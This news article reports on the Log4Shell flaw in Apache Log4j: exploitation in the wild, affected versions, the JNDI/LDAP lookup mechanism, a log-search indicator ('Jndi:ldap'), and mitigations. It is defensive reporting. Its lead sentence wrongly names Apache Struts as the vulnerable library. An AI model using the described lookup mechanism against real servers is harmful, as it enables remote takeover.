The Log4Shell vulnerability critically threatens anybody using the popular open-source Apache Struts framework and could lead to a “Mini internet meltdown soonish.”

An excruciating, easily exploited flaw in the ubiquitous Java logging library Apache Log4j could allow unauthenticated remote code execution (RCE) and complete server takeover — and it’s being exploited in the wild.

The flaw first turned up on sites that cater to users of the world’s favorite game, Minecraft, on Thursday. The sites reportedly warned that attackers could unleash malicious code on either servers or clients running the Java version of Minecraft by manipulating log messages, including from text typed into chat messages.

Infosec Insiders Newsletter

The same day, the as-yet-unpatched flaw was dubbed “Log4Shell” by LunaSec and began being tracked as CVE-2021-44228.

By early Friday morning, the Cyber Emergency Response Team (CERT) of the Deutsche Telekom Group tweeted that it was seeing attacks on its honeypots coming from the Tor network as threat actors tried to exploit the new bug,

Ditto for CERT New Zealand; and all day, people have piped up on Twitter to warn that they’re also seeing in-the-wild exploits.

This problem is going to cause a mini-internet meltdown, experts said, given that Log4j is incorporated into scads of popular frameworks, including Apache Struts2, Apache Solr, Apache Druid and Apache Flink. That exposes an eye-watering number of third-party apps that may also be vulnerable to the same type of high-severity exploits as that spotted in Minecraft, as well as in cloud services such as Steam and Apple iCloud, LunaSec warned.

As of Friday, version 2.15.0 had been released: log4j-core.jar is available on Maven Central here, with release notes are available here and Apache’s Log4j security announcements available here.

‘Mini-Internet Meltdown’ Imminent?

Even though an initial fix was rushed out on Friday, it’s going to take time to trickle down to all of those projects, given how extensively the logging library is incorporated downstream.

“Expect a mini-internet meltdown soonish,” said British security specialist Kevin Beaumont, who tweeted that the fix “needs to flow downstream to Apache Struts2, Solr, Linux distributions, vendors, appliances etc.”

Just one example of the bug’s massive reach: On Friday morning, Rob Joyce, director of cybersecurity at the National Security Agency (NSA), tweeted that even the NSA’s GHIDRA – a suite of reverse-engineering tools developed by NSA’s Research Directorate – includes the buggy Log4j library.

“The Log4j vulnerability is a significant threat for exploitation due to the widespread inclusion in software frameworks, even NSA’s GHIDRA. This is a case study in why the software bill of material (SBOM) concepts are so important to understand exposure.” — Rob Joyce, NSA Director of Cybersecurity.

Max CVSS Score of 10

The bug find has been credited to Chen Zhaojun of Alibaba. It’s been assigned the maximum CVSS score of 10, given how relatively easy it is to exploit, attackers’ ability to seize control of targeted servers and the ubiquity of Log4j. According to CERT Austria, the security hole can be exploited by simply logging a special string.

Researchers told Ars Technica that Log4Shell is a Java deserialization bug that stems from the library making network requests through the Java Naming and Directory Interface (JNDI) to an LDAP server and executing any code that’s returned. It’s reportedly triggered inside of log messages with use of the ${} syntax.

“JNDI triggers a look-up on a server controlled by the attacker and executes the returned code,” according to CERT Austria’s advisory, posted Friday, which noted that code for an exploit proof-of-concept (PoC) was published on GitHub.

The internet’s reaction: “Umm, yikes.”

“This Log4j (CVE-2021-44228) vulnerability is extremely bad,” tweeted security expert Marcus Hutchins. “Millions of applications use Log4j for logging, and all the attacker needs to do is get the app to log a special string.”

Affected Versions

On Thursday, LunaSec explained that affected versions are 2.0 <= Apache log4j <= 2.14.1.

It added that JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 aren’t affected by the LDAP attack vector, given that in those versions, “com.sun.jndi.ldap.object.trustURLCodebase is set to false meaning JNDI cannot load a remote codebase using LDAP.”

Vulnerability also depends on specific configurations. But there are “other attack vectors targeting this vulnerability which can result in RCE,” LunaSec continued. “Depending on what code is present on the server, an attacker could leverage this existing code to execute a payload,” pointing to a Veracode post on an attack targeting the class org.apache.naming.factory.BeanFactory that’s present on Apache Tomcat servers.

LunaSec concluded that, “given how ubiquitous this library is, the impact of the exploit (full server control), and how easy it is to exploit, the impact of this vulnerability is quite severe.”

Organizations can tell if they’re affected by examining log files for services using affected Log4j versions. If they contain user-controlled strings – CERT-NZ uses the example of “Jndi:ldap” – they could be affected.

“If you believe you may be impacted by CVE-2021-44228, Randori encourages all organizations to adopt an assumed breach mentality and review logs for impacted applications for unusual activity,” cybersecurity researchers at Randori wrote in a blog post.

Temporary Mitigation

To keep the library from being exploited, it’s urgently recommended that Log4j versions are upgraded to log4j-2.15.0-rc1.

But for those who can’t update straight off, LunaSec pointed to a discussion on HackerNews regarding a mitigation strategy available in version 2.10.0 and higher of Log4j that was posted in the early hours of Friday morning.

For versions older than 2.10.0 that can’t be upgraded, these mitigation choices have been suggested:

  • Modify every logging pattern layout to say %m{nolookups} instead of %m in your logging config files (here are Apache’s details); or,
  • Substitute a non-vulnerable or empty implementation of the class org.apache.logging.log4j.core.lookup.JndiLookup, in a way that your classloader uses your replacement instead of the vulnerable version of the class. Refer to your application’s or stack’s classloading documentation to understand this behavior; or
  • Users should switch log4j2.formatMsgNoLookups to true by adding:”‐Dlog4j2.formatMsgNoLookups=True” to the JVM command for starting the application.

There’s a sea of unstructured data on the internet relating to the latest security threats. REGISTER TODAY to learn key concepts of natural language processing (NLP) and how to use it to navigate the data ocean and add context to cybersecurity threats (without being an expert!). This LIVE, interactive Threatpost Town Hall, sponsored by Rapid 7, will feature security researchers Erick Galinkin of Rapid7 and Izzy Lazerson of IntSights (a Rapid7 company), plus Threatpost journalist and webinar host, Becky Bracken.

Register NOW for the LIVE event!

RELATED ARTICLESMORE FROM AUTHOR